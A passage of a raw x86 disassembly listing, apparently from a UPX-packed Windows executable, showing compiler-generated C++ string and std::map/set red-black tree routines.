mov [ecx+14h], eax jb short loc_405A88 mov ecx, [ecx+4] jmp short loc_405A8B ; --------------------------------------------------------------------------- loc_405A88: ; CODE XREF: sub_405A76+Bj add ecx, 4 loc_405A8B: ; CODE XREF: sub_405A76+10j mov byte ptr [ecx+eax], 0 retn 4 sub_405A76 endp ; =============== S U B R O U T I N E ======================================= sub_405A92 proc near ; CODE XREF: sub_405446+49p ; sub_405995+39p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFEh jbe short loc_405AA4 call sub_40AB96 loc_405AA4: ; CODE XREF: sub_405A92+Bj cmp [esi+18h], edi jnb short loc_405AB6 push dword ptr [esi+14h] mov ecx, esi push edi call sub_405F0B jmp short loc_405AE3 ; --------------------------------------------------------------------------- loc_405AB6: ; CODE XREF: sub_405A92+15j cmp [esp+8+arg_4], 0 jz short loc_405AD7 cmp edi, 10h jnb short loc_405AD7 mov eax, [esi+14h] cmp edi, eax jnb short loc_405ACB mov eax, edi loc_405ACB: ; CODE XREF: sub_405A92+35j push eax push 1 mov ecx, esi call sub_4054FB jmp short loc_405AE3 ; --------------------------------------------------------------------------- loc_405AD7: ; CODE XREF: sub_405A92+29j ; sub_405A92+2Ej test edi, edi jnz short loc_405AE3 push edi mov ecx, esi call sub_405A76 loc_405AE3: ; CODE XREF: sub_405A92+22j ; sub_405A92+43j ... xor eax, eax cmp eax, edi sbb eax, eax pop edi neg eax pop esi retn 8 sub_405A92 endp ; =============== S U B R O U T I N E ======================================= sub_405AF0 proc near ; CODE XREF: sub_4051B7+89p ; sub_406482+3Dp arg_0 = dword ptr 4 and dword ptr [esi+14h], 0 push ebx xor eax, eax mov dword ptr [esi+18h], 7 push 0FFFFFFFFh mov [esi+4], ax mov eax, [esp+8+arg_0] push esi xor ebx, ebx call sub_406028 mov eax, esi pop ebx retn 4 sub_405AF0 endp ; =============== S U B R O U T I N E ======================================= sub_405B16 proc near ; CODE XREF: sub_405546+6Cp ; sub_4055BC+3Fp ... cmp dword ptr [eax+18h], 8 mov [eax+14h], ecx jb short loc_405B24 mov eax, [eax+4] jmp short loc_405B27 ; --------------------------------------------------------------------------- loc_405B24: ; CODE XREF: sub_405B16+7j add eax, 4 loc_405B27: ; CODE XREF: sub_405B16+Cj xor edx, edx mov [eax+ecx*2], dx retn sub_405B16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B2E proc near ; CODE XREF: sub_405603+177p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi mov esi, [ebp+arg_0] mov eax, [esi+18h] push edi mov edi, [eax+4] mov [ebp+var_4], eax mov byte ptr [ebp+var_8], 1 jmp short loc_405B64 ; --------------------------------------------------------------------------- loc_405B48: ; CODE XREF: sub_405B2E+3Aj mov ecx, [ebp+arg_4] lea eax, [edi+10h] mov [ebp+var_4], edi call sub_406F5E mov byte ptr [ebp+var_8], al test al, al jz short loc_405B61 mov edi, [edi] jmp short loc_405B64 ; --------------------------------------------------------------------------- loc_405B61: ; CODE XREF: sub_405B2E+2Dj mov edi, [edi+8] loc_405B64: ; CODE XREF: sub_405B2E+18j ; sub_405B2E+31j cmp byte ptr [edi+49h], 0 jz short loc_405B48 cmp byte ptr [ebp+var_8], 0 mov edi, [ebp+var_4] mov eax, [esi] mov [ebp+var_C], edi mov [ebp+var_10], eax jz short loc_405BC7 mov ecx, [esi+18h] mov ecx, [ecx] lea edi, [ebp+var_18] lea esi, [ebp+var_10] mov [ebp+var_14], ecx mov [ebp+var_18], eax call sub_4052D2 test al, al jz short loc_405BB9 push [ebp+arg_4] mov esi, [ebp+arg_0] push 1 loc_405B9D: ; CODE XREF: sub_405B2E+AEj mov ecx, [ebp+var_4] lea eax, [ebp+var_18] push eax call sub_405CA8 mov ecx, [eax] mov eax, [eax+4] mov [ebx], ecx mov [ebx+4], eax mov byte ptr [ebx+8], 1 jmp short loc_405BEA ; --------------------------------------------------------------------------- loc_405BB9: ; CODE XREF: sub_405B2E+65j lea esi, [ebp+var_10] call sub_405E74 mov edi, [ebp+var_C] mov esi, [ebp+arg_0] loc_405BC7: ; CODE XREF: sub_405B2E+4Bj mov eax, [ebp+arg_4] lea ecx, [edi+10h] call sub_406F5E test al, al jz short loc_405BDE push [ebp+arg_4] push [ebp+var_8] jmp short loc_405B9D ; --------------------------------------------------------------------------- loc_405BDE: ; CODE XREF: sub_405B2E+A6j mov eax, [ebp+var_10] mov [ebx], eax mov [ebx+4], edi mov byte ptr [ebx+8], 0 loc_405BEA: ; CODE XREF: sub_405B2E+89j pop edi mov eax, ebx pop esi leave retn 8 sub_405B2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BF2 proc near ; CODE XREF: sub_405795+1Ap var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov ebx, eax mov eax, [ebx+18h] mov eax, [eax] push esi mov [ebp+var_8], eax mov eax, [ebx] push edi lea edi, [ebp+var_C] lea esi, [ebp+arg_4] mov [ebp+var_C], eax call sub_4052D2 test al, al jz short loc_405C85 mov eax, [ebx+18h] mov [ebp+var_8], eax mov eax, [ebx] lea edi, [ebp+var_C] lea esi, [ebp+arg_C] mov [ebp+var_C], eax call sub_4052D2 test al, al jz short loc_405C85 mov eax, [ebx+18h] push dword ptr [eax+4] mov ecx, ebx call sub_40664D mov eax, [ebx+18h] mov [eax+4], eax mov eax, [ebx+18h] and dword ptr [ebx+1Ch], 0 mov [eax], eax mov eax, [ebx+18h] mov [eax+8], eax mov eax, [ebx+18h] mov ecx, [eax] mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebx] mov [eax], ecx jmp short loc_405CA1 ; --------------------------------------------------------------------------- loc_405C66: ; CODE XREF: sub_405BF2+A0j mov eax, [ebp+arg_8] mov edi, [ebp+arg_4] lea esi, [ebp+arg_4] mov [ebp+var_8], eax call sub_405E27 push [ebp+var_8] lea eax, [ebp+var_14] push edi push eax push ebx call sub_406130 loc_405C85: ; CODE XREF: sub_405BF2+25j ; sub_405BF2+3Fj lea edi, [ebp+arg_C] lea esi, [ebp+arg_4] call sub_4052D2 test al, al jz short loc_405C66 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov ebx, [ebx] mov [eax], ebx mov [eax+4], ecx loc_405CA1: ; CODE XREF: sub_405BF2+72j pop edi pop esi pop ebx leave retn 14h sub_405BF2 endp ; =============== S U B R O U T I N E ======================================= sub_405CA8 proc near ; CODE XREF: sub_405603+25p ; sub_405B2E+76p push 48h mov eax, offset loc_41C442 call sub_40C46D mov edi, ecx cmp dword ptr [esi+1Ch], 4924923h jb short loc_405CF1 push offset aMapSetTTooLong ; "map/set<T> too long" lea ecx, [ebp-2Ch] call sub_405138 and dword ptr [ebp-4], 0 lea eax, [ebp-2Ch] push eax lea ecx, [ebp-54h] call sub_404A01 push offset dword_426E48 lea eax, [ebp-54h] push eax mov dword ptr [ebp-54h], offset off_41D4F4 call sub_40C03B loc_405CF1: ; CODE XREF: sub_405CA8+15j push dword ptr [ebp+10h] mov eax, [esi+18h] push eax push edi push eax call sub_406482 inc dword ptr [esi+1Ch] mov ebx, eax mov eax, [esi+18h] cmp edi, eax jnz short loc_405D18 mov [eax+4], ebx mov eax, [esi+18h] mov [eax], ebx mov eax, [esi+18h] jmp short loc_405D36 ; --------------------------------------------------------------------------- loc_405D18: ; CODE XREF: sub_405CA8+61j cmp byte ptr [ebp+0Ch], 0 jz short loc_405D2B mov [edi], ebx mov eax, [esi+18h] cmp edi, [eax] jnz short loc_405D39 mov [eax], ebx jmp short loc_405D39 ; --------------------------------------------------------------------------- loc_405D2B: ; CODE XREF: sub_405CA8+74j mov [edi+8], ebx mov eax, [esi+18h] cmp edi, [eax+8] jnz short loc_405D39 loc_405D36: ; CODE XREF: sub_405CA8+6Ej mov [eax+8], ebx loc_405D39: ; CODE XREF: sub_405CA8+7Dj ; sub_405CA8+81j ... mov edi, ebx lea eax, [ebx+4] jmp loc_405DCD ; --------------------------------------------------------------------------- loc_405D43: ; CODE XREF: sub_405CA8+12Bj mov ecx, [eax] mov edx, [ecx+4] cmp ecx, [edx] jnz short loc_405D81 mov edx, [edx+8] cmp byte ptr [edx+48h], 0 jz short loc_405D89 cmp edi, [ecx+8] jnz short loc_405D62 push esi mov edi, ecx call sub_4063D6 loc_405D62: ; CODE XREF: sub_405CA8+B0j mov eax, [edi+4] mov byte ptr [eax+48h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+48h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_406416 jmp short loc_405DCA ; --------------------------------------------------------------------------- loc_405D81: ; CODE XREF: sub_405CA8+A2j mov edx, [edx] cmp byte ptr [edx+48h], 0 jnz short loc_405DA1 loc_405D89: ; CODE XREF: sub_405CA8+ABj mov byte ptr [ecx+48h], 1 mov byte ptr [edx+48h], 1 mov ecx, [eax] mov ecx, [ecx+4] mov byte ptr [ecx+48h], 0 mov eax, [eax] mov edi, [eax+4] jmp short loc_405DCA ; --------------------------------------------------------------------------- loc_405DA1: ; CODE XREF: sub_405CA8+DFj cmp edi, [ecx] jnz short loc_405DAD push esi mov edi, ecx call sub_406416 loc_405DAD: ; CODE XREF: sub_405CA8+FBj mov eax, [edi+4] mov byte ptr [eax+48h], 1 mov eax, [edi+4] mov eax, [eax+4] mov byte ptr [eax+48h], 0 mov eax, [edi+4] mov ecx, [eax+4] push esi call sub_4063D6 loc_405DCA: ; CODE XREF: sub_405CA8+D7j ; sub_405CA8+F7j lea eax, [edi+4] loc_405DCD: ; CODE XREF: sub_405CA8+96j mov ecx, [eax] cmp byte ptr [ecx+48h], 0 jz loc_405D43 mov eax, [esi+18h] mov eax, [eax+4] mov byte ptr [eax+48h], 1 mov eax, [ebp+8] mov ecx, [esi] mov [eax+4], ebx mov [eax], ecx call sub_40C50C retn 0Ch sub_405CA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405DF5 proc near ; CODE XREF: sub_4051B7+30p ; sub_417ECD+2Ap arg_0 = dword ptr 4 mov eax, [eax+18h] push esi mov esi, [eax+4] push edi mov edi, eax jmp short loc_405E1A ; --------------------------------------------------------------------------- loc_405E01: ; CODE XREF: sub_405DF5+29j mov eax, [esp+8+arg_0] lea ecx, [esi+10h] call sub_406F5E test al, al jz short loc_405E16 mov esi, [esi+8] jmp short loc_405E1A ; --------------------------------------------------------------------------- loc_405E16: ; CODE XREF: sub_405DF5+1Aj mov edi, esi mov esi, [esi] loc_405E1A: ; CODE XREF: sub_405DF5+Aj ; sub_405DF5+1Fj cmp byte ptr [esi+49h], 0 jz short loc_405E01 mov eax, edi pop edi pop esi retn 4 sub_405DF5 endp ; =============== S U B R O U T I N E ======================================= sub_405E27 proc near ; CODE XREF: sub_405603+130p ; sub_405BF2+80p ... push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_405E33 call sub_40B27B loc_405E33: ; CODE XREF: sub_405E27+5j mov eax, [esi+4] cmp [eax+49h], bl jz short loc_405E42 call sub_40B27B jmp short loc_405E70 ; --------------------------------------------------------------------------- loc_405E42: ; CODE XREF: sub_405E27+12j mov ecx, [eax+8] cmp [ecx+49h], bl jnz short loc_405E65 jmp short loc_405E4E ; --------------------------------------------------------------------------- loc_405E4C: ; CODE XREF: sub_405E27+2Cj mov ecx, eax loc_405E4E: ; CODE XREF: sub_405E27+23j mov eax, [ecx] cmp [eax+49h], bl jz short loc_405E4C mov [esi+4], ecx jmp short loc_405E70 ; --------------------------------------------------------------------------- loc_405E5A: ; CODE XREF: sub_405E27+44j mov ecx, [esi+4] cmp ecx, [eax+8] jnz short loc_405E6D mov [esi+4], eax loc_405E65: ; CODE XREF: sub_405E27+21j mov eax, [eax+4] cmp [eax+49h], bl jz short loc_405E5A loc_405E6D: ; CODE XREF: sub_405E27+39j mov [esi+4], eax loc_405E70: ; CODE XREF: sub_405E27+19j ; sub_405E27+31j mov eax, esi pop ebx retn sub_405E27 endp ; =============== S U B R O U T I N E ======================================= sub_405E74 proc near ; CODE XREF: sub_405603+CFp ; sub_405B2E+8Ep push ebx xor ebx, ebx cmp [esi], ebx jnz short loc_405E80 call sub_40B27B loc_405E80: ; CODE XREF: sub_405E74+5j mov eax, [esi+4] cmp [eax+49h], bl jz short loc_405E95 mov eax, [eax+8] mov [esi+4], eax cmp [eax+49h], bl jz short loc_405ED1 jmp short loc_405EC7 ; --------------------------------------------------------------------------- loc_405E95: ; CODE XREF: sub_405E74+12j mov ecx, [eax] cmp [ecx+49h], bl jnz short loc_405EB7 jmp short loc_405EA0 ; --------------------------------------------------------------------------- loc_405E9E: ; CODE XREF: sub_405E74+32j mov ecx, eax loc_405EA0: ; CODE XREF: sub_405E74+28j mov eax, [ecx+8] cmp [eax+49h], bl jz short loc_405E9E mov [esi+4], ecx jmp short loc_405ED1 ; --------------------------------------------------------------------------- loc_405EAD: ; CODE XREF: sub_405E74+49j mov ecx, [esi+4] cmp ecx, [eax] jnz short loc_405EBF mov [esi+4], eax loc_405EB7: ; CODE XREF: sub_405E74+26j mov eax, [eax+4] cmp [eax+49h], bl jz short loc_405EAD loc_405EBF: ; CODE XREF: sub_405E74+3Ej mov ecx, [esi+4] cmp [ecx+49h], bl jz short loc_405ECE loc_405EC7: ; CODE XREF: sub_405E74+1Fj call sub_40B27B jmp short loc_405ED1 ; --------------------------------------------------------------------------- loc_405ECE: ; CODE XREF: sub_405E74+51j mov [esi+4], eax loc_405ED1: ; CODE XREF: sub_405E74+1Dj ; sub_405E74+37j ... mov eax, esi pop ebx retn sub_405E74 endp ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_404B1F mov dword ptr [esi], offset off_41D4F4 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_405EED proc near ; CODE XREF: sub_40725D+3j ; DATA XREF: UPX0:00423FFCo arg_0 = byte ptr 4 push esi mov esi, ecx mov eax, esi call sub_401F64 test [esp+4+arg_0], 1 jz short loc_405F05 push esi call sub_40AC11 pop ecx loc_405F05: ; CODE XREF: sub_405EED+Fj mov eax, esi pop esi retn 4 sub_405EED endp ; =============== S U B R O U T I N E ======================================= sub_405F0B proc near ; CODE XREF: sub_405A92+1Dp push 0Ch mov eax, offset loc_41C166 call sub_40C4A0 mov edi, ecx mov [ebp-18h], edi mov esi, [ebp+8] or esi, 0Fh cmp esi, 0FFFFFFFEh jbe short loc_405F2C mov esi, [ebp+8] jmp short loc_405F51 ; --------------------------------------------------------------------------- loc_405F2C: ; CODE XREF: sub_405F0B+1Aj xor edx, edx push 3 mov eax, esi pop ebx div ebx mov ecx, [edi+18h] mov [ebp-14h], ecx shr dword ptr [ebp-14h], 1 mov edx, [ebp-14h] cmp eax, edx jnb short loc_405F51 push 0FFFFFFFEh pop eax sub eax, edx cmp ecx, eax ja short loc_405F51 lea esi, [edx+ecx] loc_405F51: ; CODE XREF: sub_405F0B+1Fj ; sub_405F0B+38j ... and dword ptr [ebp-4], 0 lea eax, [esi+1] push 0 push eax call sub_406FCF pop ecx pop ecx mov ebx, eax jmp short loc_405F90 ; --------------------------------------------------------------------------- loc_405F66: ; DATA XREF: UPX0:00427214o mov eax, [ebp+8] mov [ebp-10h], esp mov [ebp+8], eax inc eax push 0 push eax mov byte ptr [ebp-4], 2 call sub_406FCF pop ecx mov [ebp-14h], eax pop ecx mov eax, offset loc_405F87 retn ; --------------------------------------------------------------------------- loc_405F87: ; DATA XREF: sub_405F0B+76o mov edi, [ebp-18h] mov esi, [ebp+8] mov ebx, [ebp-14h] loc_405F90: ; CODE XREF: sub_405F0B+59j cmp dword ptr [ebp+0Ch], 0 jbe short loc_405FB5 cmp dword ptr [edi+18h], 10h jb short loc_405FA1 mov eax, [edi+4] jmp short loc_405FA4 ; --------------------------------------------------------------------------- loc_405FA1: ; CODE XREF: sub_405F0B+8Fj lea eax, [edi+4] loc_405FA4: ; CODE XREF: sub_405F0B+94j push dword ptr [ebp+0Ch] push eax lea eax, [esi+1] push eax push ebx call sub_4049C9 add esp, 10h loc_405FB5: ; CODE XREF: sub_405F0B+89j push 0 push 1 mov ecx, edi call sub_4054FB push dword ptr [ebp+0Ch] mov ecx, edi mov [edi+4], ebx mov [edi+18h], esi call sub_405A76 call sub_40C50C retn 8 sub_405F0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405FD8 proc near ; DATA XREF: UPX0:00427204o mov ecx, [ebp-18h] xor esi, esi push esi push 1 call sub_4054FB push esi push esi call sub_40C03B int 3 ; Trap to Debugger sub_405FD8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405FED proc near ; CODE XREF: sub_405995+Bp arg_0 = dword ptr 4 cmp [esp+arg_0], 0 push esi jz short loc_406022 mov esi, [ecx+18h] lea eax, [ecx+4] cmp esi, 10h jb short loc_406004 mov edx, [eax] jmp short loc_406006 ; --------------------------------------------------------------------------- loc_406004: ; CODE XREF: sub_405FED+11j mov edx, eax loc_406006: ; CODE XREF: sub_405FED+15j cmp [esp+4+arg_0], edx jb short loc_406022 cmp esi, 10h jb short loc_406013 mov eax, [eax] loc_406013: ; CODE XREF: sub_405FED+22j mov ecx, [ecx+14h] add ecx, eax cmp ecx, [esp+4+arg_0] jbe short loc_406022 mov al, 1 jmp short loc_406024 ; --------------------------------------------------------------------------- loc_406022: ; CODE XREF: sub_405FED+6j ; sub_405FED+1Dj ... xor al, al loc_406024: ; CODE XREF: sub_405FED+33j pop esi retn 4 sub_405FED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406028 proc near ; CODE XREF: sub_405546+39p ; sub_405AF0+1Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, eax push edi cmp [esi+14h], ebx jnb short loc_406039 call sub_40ABCE loc_406039: ; CODE XREF: sub_406028+Aj mov edi, [esi+14h] sub edi, ebx cmp [ebp+arg_4], edi jnb short loc_406046 mov edi, [ebp+arg_4] loc_406046: ; CODE XREF: sub_406028+19j mov eax, [ebp+arg_0] cmp eax, esi jnz short loc_406062 push 0FFFFFFFFh add edi, ebx mov esi, eax call sub_4064F7 push ebx xor edi, edi call sub_4064F7 jmp short loc_4060A5 ; --------------------------------------------------------------------------- loc_406062: ; CODE XREF: sub_406028+23j call sub_4060AE test al, al jz short loc_4060A5 cmp dword ptr [esi+18h], 8 jb short loc_406076 mov eax, [esi+4] jmp short loc_406079 ; --------------------------------------------------------------------------- loc_406076: ; CODE XREF: sub_406028+47j lea eax, [esi+4] loc_406079: ; CODE XREF: sub_406028+4Cj mov esi, [ebp+arg_0] mov edx, [esi+18h] cmp edx, 8 jb short loc_406089 mov ecx, [esi+4] jmp short loc_40608C ; --------------------------------------------------------------------------- loc_406089: ; CODE XREF: sub_406028+5Aj lea ecx, [esi+4] loc_40608C: ; CODE XREF: sub_406028+5Fj lea eax, [eax+ebx*2] push eax push edx push ecx mov eax, edi call sub_406F3F add esp, 0Ch mov ecx, edi mov eax, esi call sub_405B16 loc_4060A5: ; CODE XREF: sub_406028+38j ; sub_406028+41j mov eax, [ebp+arg_0] pop edi pop esi pop ebp retn 8 sub_406028 endp ; =============== S U B R O U T I N E ======================================= sub_4060AE proc near ; CODE XREF: sub_405546+42p ; sub_406028:loc_406062p ... push esi mov esi, eax cmp edi, 7FFFFFFEh jbe short loc_4060BE call sub_40AB96 loc_4060BE: ; CODE XREF: sub_4060AE+9j mov eax, [esi+18h] cmp eax, edi jnb short loc_4060D1 push dword ptr [esi+14h] push edi push esi call sub_406572 jmp short loc_4060EA ; --------------------------------------------------------------------------- loc_4060D1: ; CODE XREF: sub_4060AE+15j test edi, edi jnz short loc_4060EA and [esi+14h], edi cmp eax, 8 jb short loc_4060E2 mov esi, [esi+4] jmp short loc_4060E5 ; --------------------------------------------------------------------------- loc_4060E2: ; CODE XREF: sub_4060AE+2Dj add esi, 4 loc_4060E5: ; CODE XREF: sub_4060AE+32j xor eax, eax mov [esi], ax loc_4060EA: ; CODE XREF: sub_4060AE+21j ; sub_4060AE+25j xor eax, eax cmp eax, edi sbb eax, eax neg eax pop esi retn sub_4060AE endp ; =============== S U B R O U T I N E ======================================= sub_4060F4 proc near ; CODE XREF: sub_405546+1Ap ; sub_40A4B6+Bp arg_0 = dword ptr 4 cmp [esp+arg_0], 0 push esi jz short loc_40612A mov esi, [ecx+18h] lea eax, [ecx+4] cmp esi, 8 jb short loc_40610B mov edx, [eax] jmp short loc_40610D ; --------------------------------------------------------------------------- loc_40610B: ; CODE XREF: sub_4060F4+11j mov edx, eax loc_40610D: ; CODE XREF: sub_4060F4+15j cmp [esp+4+arg_0], edx jb short loc_40612A cmp esi, 8 jb short loc_40611A mov eax, [eax] loc_40611A: ; CODE XREF: sub_4060F4+22j mov ecx, [ecx+14h] lea eax, [eax+ecx*2] cmp eax, [esp+4+arg_0] jbe short loc_40612A mov al, 1 jmp short loc_40612C ; --------------------------------------------------------------------------- loc_40612A: ; CODE XREF: sub_4060F4+6j ; sub_4060F4+1Dj ... xor al, al loc_40612C: ; CODE XREF: sub_4060F4+34j pop esi retn 4 sub_4060F4 endp ; =============== S U B R O U T I N E ======================================= sub_406130 proc near ; CODE XREF: sub_405BF2+8Ep push 4Ch mov eax, offset loc_41C41F call sub_40C46D mov ebx, [ebp+14h] cmp byte ptr [ebx+49h], 0 jz short loc_406177 push offset aInvalidMapSetT ; "invalid map/set<T> iterator" lea ecx, [ebp-30h] call sub_405138 and dword ptr [ebp-4], 0 lea eax, [ebp-30h] push eax lea ecx, [ebp-58h] call sub_404A01 push offset dword_426E0C lea eax, [ebp-58h] push eax mov dword ptr [ebp-58h], offset off_41D500 call sub_40C03B loc_406177: ; CODE XREF: sub_406130+13j lea esi, [ebp+10h] call sub_405E27 mov edx, [ebx] cmp byte ptr [edx+49h], 0 jz short loc_40618C mov edi, [ebx+8] jmp short loc_4061A5 ; --------------------------------------------------------------------------- loc_40618C: ; CODE XREF: sub_406130+55j mov eax, [ebx+8] cmp byte ptr [eax+49h], 0 jz short loc_406199 mov edi, edx jmp short loc_4061A5 ; --------------------------------------------------------------------------- loc_406199: ; CODE XREF: sub_406130+63j mov eax, [ebp+14h] lea ecx, [eax+8] mov edi, [ecx] cmp eax, ebx jnz short loc_40621F loc_4061A5: ; CODE XREF: sub_406130+5Aj ; sub_406130+67j cmp byte ptr [edi+49h], 0 mov esi, [ebx+4] jnz short loc_4061B1 mov [edi+4], esi loc_4061B1: ; CODE XREF: sub_406130+7Cj mov ecx, [ebp+8] mov eax, [ecx+18h] cmp [eax+4], ebx jnz short loc_4061C1 mov [eax+4], edi jmp short loc_4061CC ; --------------------------------------------------------------------------- loc_4061C1: ; CODE XREF: sub_406130+8Aj cmp [esi], ebx jnz short loc_4061C9 mov [esi], edi jmp short loc_4061CC ; --------------------------------------------------------------------------- loc_4061C9: ; CODE XREF: sub_406130+93j mov [esi+8], edi loc_4061CC: ; CODE XREF: sub_406130+8Fj ; sub_406130+97j mov edx, [ecx+18h] cmp [edx], ebx jnz short loc_4061EF cmp byte ptr [edi+49h], 0 jz short loc_4061DD mov ecx, esi jmp short loc_4061ED ; --------------------------------------------------------------------------- loc_4061DD: ; CODE XREF: sub_406130+A7j mov eax, [edi] mov ecx, edi jmp short loc_4061E7 ; --------------------------------------------------------------------------- loc_4061E3: ; CODE XREF: sub_406130+BBj mov ecx, eax mov eax, [ecx] loc_4061E7: ; CODE XREF: sub_406130+B1j cmp byte ptr [eax+49h], 0 jz short loc_4061E3 loc_4061ED: ; CODE XREF: sub_406130+ABj mov [edx], ecx loc_4061EF: ; CODE XREF: sub_406130+A1j mov eax, [ebp+8] mov edx, [eax+18h] cmp [edx+8], ebx jnz loc_406284 cmp byte ptr [edi+49h], 0 jz short loc_406208 mov ecx, esi jmp short loc_40621A ; --------------------------------------------------------------------------- loc_406208: ; CODE XREF: sub_406130+D2j mov eax, [edi+8] mov ecx, edi jmp short loc_406214 ; --------------------------------------------------------------------------- loc_40620F: ; CODE XREF: sub_406130+E8j mov ecx, eax mov eax, [ecx+8] loc_406214: ; CODE XREF: sub_406130+DDj cmp byte ptr [eax+49h], 0 jz short loc_40620F loc_40621A: ; CODE XREF: sub_406130+D6j mov [edx+8], ecx jmp short loc_406284 ; --------------------------------------------------------------------------- loc_40621F: ; CODE XREF: sub_406130+73j mov [edx+4], eax mov edx, [ebx] mov [eax], edx cmp eax, [ebx+8] jnz short loc_40622F mov esi, eax jmp short loc_406248 ; --------------------------------------------------------------------------- loc_40622F: ; CODE XREF: sub_406130+F9j cmp byte ptr [edi+49h], 0 mov esi, [eax+4] jnz short loc_40623B mov [edi+4], esi loc_40623B: ; CODE XREF: sub_406130+106j mov [esi], edi mov edx, [ebx+8] mov [ecx], edx mov ecx, [ebx+8] mov [ecx+4], eax loc_406248: ; CODE XREF: sub_406130+FDj mov ecx, [ebp+8] mov ecx, [ecx+18h] cmp [ecx+4], ebx jnz short loc_406258 mov [ecx+4], eax jmp short loc_406266 ; --------------------------------------------------------------------------- loc_406258: ; CODE XREF: sub_406130+121j mov ecx, [ebx+4] cmp [ecx], ebx jnz short loc_406263 mov [ecx], eax jmp short loc_406266 ; --------------------------------------------------------------------------- loc_406263: ; CODE XREF: sub_406130+12Dj mov [ecx+8], eax loc_406266: ; CODE XREF: sub_406130+126j ; sub_406130+131j mov ecx, [ebx+4] mov [eax+4], ecx lea ecx, [ebx+48h] add eax, 48h cmp eax, ecx jz short loc_406284 mov dl, [eax] mov [ebp-11h], dl mov dl, [ecx] mov [eax], dl mov al, [ebp-11h] mov [ecx], al loc_406284: ; CODE XREF: sub_406130+C8j ; sub_406130+EDj ... cmp byte ptr [ebx+48h], 1 jnz loc_4063A0 jmp loc_406354 ; --------------------------------------------------------------------------- loc_406293: ; CODE XREF: sub_406130+22Dj cmp byte ptr [edi+48h], 1 jnz loc_40639C mov ecx, [esi] cmp edi, ecx jnz short loc_40631A mov ecx, [esi+8] cmp byte ptr [ecx+48h], 0 jnz short loc_4062C1 push dword ptr [ebp+8] mov byte ptr [ecx+48h], 1 mov ecx, esi mov byte ptr [esi+48h], 0 call sub_4063D6 mov ecx, [esi+8] loc_4062C1: ; CODE XREF: sub_406130+17Aj cmp byte ptr [ecx+49h], 0 jnz loc_40634F mov eax, [ecx] cmp byte ptr [eax+48h], 1 jnz short loc_4062DC mov eax, [ecx+8] cmp byte ptr [eax+48h], 1 jz short loc_40634B loc_4062DC: ; CODE XREF: sub_406130+1A1j mov eax, [ecx+8] cmp byte ptr [eax+48h], 1 jnz short loc_4062FA mov eax, [ecx] push dword ptr [ebp+8] mov byte ptr [eax+48h], 1 mov byte ptr [ecx+48h], 0 call sub_406416 mov ecx, [esi+8] loc_4062FA: ; CODE XREF: sub_406130+1B3j mov al, [esi+48h] push dword ptr [ebp+8] mov [ecx+48h], al mov byte ptr [esi+48h], 1 mov eax, [ecx+8] mov ecx, esi mov byte ptr [eax+48h], 1 call sub_4063D6 jmp loc_40639C ; --------------------------------------------------------------------------- loc_40631A: ; CODE XREF: sub_406130+171j cmp byte ptr [ecx+48h], 0 jnz short loc_406334 push dword ptr [ebp+8] mov byte ptr [ecx+48h], 1 mov ecx, esi mov byte ptr [esi+48h], 0 call sub_406416 mov ecx, [esi] loc_406334: ; CODE XREF: sub_406130+1EEj cmp byte ptr [ecx+49h], 0 jnz short loc_40634F mov eax, [ecx+8] cmp byte ptr [eax+48h], 1 jnz short loc_406365 mov eax, [ecx] cmp byte ptr [eax+48h], 1 jnz short loc_406365 loc_40634B: ; CODE XREF: sub_406130+1AAj mov byte ptr [ecx+48h], 0 loc_40634F: ; CODE XREF: sub_406130+195j ; sub_406130+208j mov edi, esi mov esi, [esi+4] loc_406354: ; CODE XREF: sub_406130+15Ej mov eax, [ebp+8] mov eax, [eax+18h] cmp edi, [eax+4] jnz loc_406293 jmp short loc_40639C ; --------------------------------------------------------------------------- loc_406365: ; CODE XREF: sub_406130+211j ; sub_406130+219j mov eax, [ecx] cmp byte ptr [eax+48h], 1 jnz short loc_406382 mov eax, [ecx+8] push dword ptr [ebp+8] mov byte ptr [eax+48h], 1 mov byte ptr [ecx+48h], 0 call sub_4063D6 mov ecx, [esi] loc_406382: ; CODE XREF: sub_406130+23Bj mov al, [esi+48h] push dword ptr [ebp+8] mov [ecx+48h], al mov byte ptr [esi+48h], 1 mov eax, [ecx] mov ecx, esi mov byte ptr [eax+48h], 1 call sub_406416 loc_40639C: ; CODE XREF: sub_406130+167j ; sub_406130+1E5j ... mov byte ptr [edi+48h], 1 loc_4063A0: ; CODE XREF: sub_406130+158j push 0 push 1 lea esi, [ebx+10h] call sub_4055BC push ebx call sub_40AC11 mov eax, [ebp+8] pop ecx mov ecx, [eax+1Ch] test ecx, ecx jbe short loc_4063C1 dec ecx mov [eax+1Ch], ecx loc_4063C1: ; CODE XREF: sub_406130+28Bj mov edx, [eax] mov eax, [ebp+0Ch] mov ecx, [ebp+14h] mov [eax], edx mov [eax+4], ecx call sub_40C50C retn 10h sub_406130 endp ; =============== S U B R O U T I N E ======================================= sub_4063D6 proc near ; CODE XREF: sub_405CA8+B5p ; sub_405CA8+11Dp ... arg_0 = dword ptr 4 mov eax, [ecx+8] mov edx, [eax] mov [ecx+8], edx mov edx, 